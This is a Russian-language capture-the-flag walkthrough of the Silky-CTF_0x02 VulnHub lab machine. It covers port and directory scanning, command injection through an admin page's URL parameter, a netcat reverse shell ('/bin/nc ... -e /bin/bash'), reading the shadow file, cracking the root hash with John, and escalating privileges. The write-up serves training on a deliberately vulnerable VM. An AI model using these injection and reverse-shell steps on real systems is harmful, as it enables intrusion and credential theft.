Решение CTF. Silky-CTF_0x02.
Здравствуйте, дорогие друзья.
Продолжаем рассматривать решение заданий CTF, и сейчас рассмотрим вторую часть Silky-CTF, и она так и называется Silky-CTF_0x02.
Скачать ее можно с vulnhub, где мы сможем найти ссылку:
https://www.vulnhub.com/entry/silky-ctf-0x02,307/.
Для начала скачаем данную виртуальную машину и сверим контрольную сумму. Что это такое, и как сравнивать, я описывал в предыдущем решении, так что потрудитесь и найдите необходимые шаги, которые мы проходили:

После сверки контрольной суммы, нужно просто сделать двойной щелчок мыши и установка начнется автоматически. В данном примере я использую среду виртуализации Vmware.
Окно для ввода пароля будет выглядеть как:

Разумеется, пароль и айпи адрес мы не знаем.
Нам нужно узнать айпи в нашей сети, с помощью утилиты «netdiscover»:

Отлично, теперь мы знаем наш искомый айпи-адрес. Давайте просканируем цель на предмет открытых портов. Воспользуемся инструментом «nmap», и команда будет выглядеть как: «nmap –A –sV 192.168.119.139 »:

Как видим, открыты два порта – это 22/tcp ssh, и 80/tcp http. Переходим в браузер, и видим, что сервер запущен на исследуемой машине:

Далее воспользуемся сканером веб-контента dirb, и поищем директории:

Нас будет интересовать админка:

Введем рандомные логин и пароль. Получаем следующий вывод:

Поиграемся с адресной строкой url, в частности заменим имя пользователя, на команду линукс «ls»:

Можем пойти дальше и дополнить команду с параметрами «-al»:

Отлично, видим вывод достаточно полезной информации.
Далее нам нужно воспользоваться инструментом «netcat», для прослушивания входящего соединения. Это команда
«nc –lvp 4545». Все это делаем в директории «Desktop»:

Проверяем свой айпи адрес, с помощью команды «ifconfig»:

Адрес нам нужен для последующего соединения с нашей машиной.
Переходим в админку сайта, и прописываем команду в адресной строке url: «/bin/nc 192.168.119.128 4545 –e /bin/bash»:

Соединение было успешно установлено:

Теперь нам нужно воспользоваться скриптом на Python, для перехода в шелл. Это команда: «python –c ‘import pty;pty.spawn(“/bin/bash”)’»:

Походив по директориям, можно найти флаг:

После этого продолжаем рассматривать различные директории, с помощью команды «ls -alh», и нас будет интересовать файл «cat_shadow»:

Пробуем запустить этот файл, но сразу это сделать не получается:

Наконец-то у нас получилось открыть данный файл, и мы видим список зашифрованных паролей, в частности «root»:

Копируем полученное значение пароля, и переходим в новый терминал, создав файл в текстовом редакторе nano:

Теперь можно взломать пароль с помощью инструмента John:

После некоторого промежутка времени наш хэш будет взломан:

Пробуем повысить права с помощью взломанного пароля:

Переходим в директорию «root», и находим наш флаг:


На этом все. Всем хорошего дня.